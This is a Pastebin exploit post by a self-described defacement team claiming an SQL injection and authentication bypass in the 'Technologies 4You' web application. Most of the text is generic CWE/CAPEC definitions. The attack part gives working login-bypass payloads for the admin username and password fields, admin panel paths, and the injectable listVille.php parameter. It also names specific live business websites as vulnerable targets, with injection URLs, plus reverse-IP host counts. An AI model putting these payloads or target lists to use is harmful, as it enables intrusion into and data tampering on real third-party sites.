KingSkrupellos

Technologies 4You SQL Injection Authentication Bypass

May 21st, 2020
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.70 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Technologies 4You SQL Injection Authentication Bypass
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 22 May 2020
  7. # Vendor Homepage : technologies-4you.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CAPEC-66 [ SQL Injection ]
  14. CWE-287 [ Improper Authentication ]
  15. CAPEC-115 [ Authentication Bypass ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/KingSkrupellos
  19. # Zone-H : zone-h.org/archive/notifier=KingSkrupellos
  20. zone-h.org/archive/notifier=CyBeRiZM
  21. # Mirror-H : mirror-h.org/search/hacker/948/
  22. mirror-h.org/search/hacker/94/
  23. mirror-h.org/search/hacker/1826/
  24. # Defacer.ID : defacer.id/archive/attacker/KingSkrupellos
  25. defacer.id/archive/team/Cyberizm-Org
  26. # Inj3ctor : 1nj3ctor.com/attacker/43/ ~ 1nj3ctor.com/attacker/59/
  27. # Aljyyosh : aljyyosh.org/hacker.php?id=KingSkrupellos
  28. aljyyosh.org/hacker.php?id=Cyberizm.Org
  29. aljyyosh.org/hacker.php?id=Cyberizm
  30. # Zone-D : zone-d.org/attacker/id/69
  31. # Pastebin : pastebin.com/u/KingSkrupellos
  32. # Cyberizm.Org : cyberizm.org/forum-exploits-vulnerabilities
  33.  
  34. ###################################################################
  35.  
  36. # Impact :
  37. ***********
  38. Technologies 4You is prone to an SQL-injection vulnerability because
  39. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  40. Exploiting this issue could allow an attacker to compromise the application, access or
  41. modify data, or exploit latent vulnerabilities in the underlying database.
  42. A remote attacker can send a specially crafted request to the vulnerable application and
  43. execute arbitrary SQL commands in application`s database. Further exploitation of this
  44. vulnerability may result in unauthorized data manipulation.
  45. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  46.  
  47. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  48. ***********************************************************************************
  49. The software constructs all or part of an SQL command using externally-influenced input from an
  50. upstream component, but it does not neutralize or incorrectly neutralizes special elements that could
  51. modify the intended SQL command when it is sent to a downstream component.
  52.  
  53. CAPEC-66: SQL Injection
  54. ************************
  55. This attack exploits target software that constructs SQL statements based on user input.
  56. An attacker crafts input strings so that when the target software constructs SQL statements
  57. based on the input, the resulting SQL statement performs actions other than those the application intended.
  58. SQL Injection results from failure of the application to appropriately validate input.
  59. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation
  60. as part of SQL queries, it is possible to glean information from the database in ways not envisaged
  61. during application design. Depending upon the database and the design of the application,
  62. it may also be possible to leverage injection to have the database execute system-related commands
  63. of the attackers' choice. SQL Injection enables an attacker to talk directly to the database,
  64. thus bypassing the application completely. Successful injection can cause information disclosure
  65. as well as ability to add or modify data in the database.
  66.  
  67. CWE-287 [ Improper Authentication ]
  68. **********************************
  69. Authentication is any process by which a system verifies the identity of a user who wishes
  70. to access it.When an actor claims to have a given identity, the software does not
  71. prove or insufficiently proves that the claim is correct. Improper authentication
  72. occurs when an application improperly verifies the identity of a user.
  73. A software incorrectly validates user's login information and as a result, an attacker can
  74. gain certain privileges within the application or disclose sensitive information that allows
  75. them to access sensitive data and provoke arbitrary code execution.
  76. The weakness is introduced during Architecture and Design, Implementation stages.
  77.  
  78. CAPEC-115 [ Authentication Bypass ]
  79. ***********************************
  80. An attacker gains access to application, service, or device with the privileges
  81. of an authorized or privileged user by evading or circumventing an authentication mechanism.
  82. The attacker is therefore able to access protected data without authentication ever having taken place.
  83. This refers to an attacker gaining access equivalent to an authenticated user without ever going
  84. through an authentication procedure. This is usually the result of the attacker using an unexpected
  85. access procedure that does not go through the proper checkpoints where authentication should occur.
  86. For example, a web site might assume that all users will click through a given link in order to get to
  87. secure material and simply authenticate everyone that clicks the link. However, an attacker might be
  88. able to reach secured web content by explicitly entering the path to the content rather than clicking
  89. through the authentication link, thereby avoiding the check entirely. This attack pattern differs from
  90. other authentication attacks in that attacks of this pattern avoid authentication entirely, rather than
  91. faking authentication by exploiting flaws or by stealing credentials from legitimate users.
  92.  
  93. ###################################################################
  94.  
  95. Administrator Username : '=''or'
  96.  
  97. Administrator Password : '=''or'
  98.  
  99. Administrator Username : anything' OR 'x'='x
  100.  
  101. Administrator Username : anything' OR 'x'='x
  102.  
  103. Administrator Username : x' or 1=1 or 'x'='y
  104.  
  105. Administrator Password : x' or 1=1 or 'x'='y
  106.  
  107. /admin/
  108. /admin/gestionclient.php
  109. /admin/miseajour.php
  110. /admin/gestionannonce.php
  111.  
  112. ScreenShot Administrator Panel =>
  113. *******************************
  114. https://www.upload.ee/image/11744168/technologies4youadminpanel22052020.png
  115.  
  116. # SQL Vulnerable File :
  117. **********************
  118. /listVille.php
  119.  
  120. # SQL Vulnerable Parameter :
  121. ***************************
  122. ?page=&departement=
  123.  
  124. # SQL Injection Exploit :
  125. **********************
  126. /listVille.php?page=&departement=[SQL Injection]
  127.  
  128. ###################################################################
  129.  
  130. # Example Vulnerable Sites :
  131. *************************
  132. [+] france-taxi-conventionne-cpam.fr/listVille.php?page=&departement=1%27
  133.  
  134. [+] taxi-conventionne-cpam-france.fr/admin/gestionannonce.php
  135.  
  136. Reverse IP results for (185.98.131.132)
  137. There are 1,149 domains hosted on this server.
  138.  
  139. Reverse IP results for (185.98.131.130)
  140. There are 1,314 domains hosted on this server.
  141.  
  142. Reverse IP results for (185.98.131.144)
  143. There are 1,401 domains hosted on this server.
  144.  
  145. ###################################################################
  146.  
  147. # Example SQL Database Error :
  148. ****************************
  149. Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation:
  150. 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB
  151. server version for the right syntax to use near '-30, 30' at line 1 in /htdocs/listVille.php:306
  152. Stack trace: #0 /htdocs/listVille.php(306): PDO->query('SELECT * FROM v...') #1
  153. {main} thrown in /htdocs/listVille.php on line 306
  154.  
  155. ###################################################################
  156.  
  157. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  158.  
  159. ###################################################################
Add Comment
Please, Sign In to add comment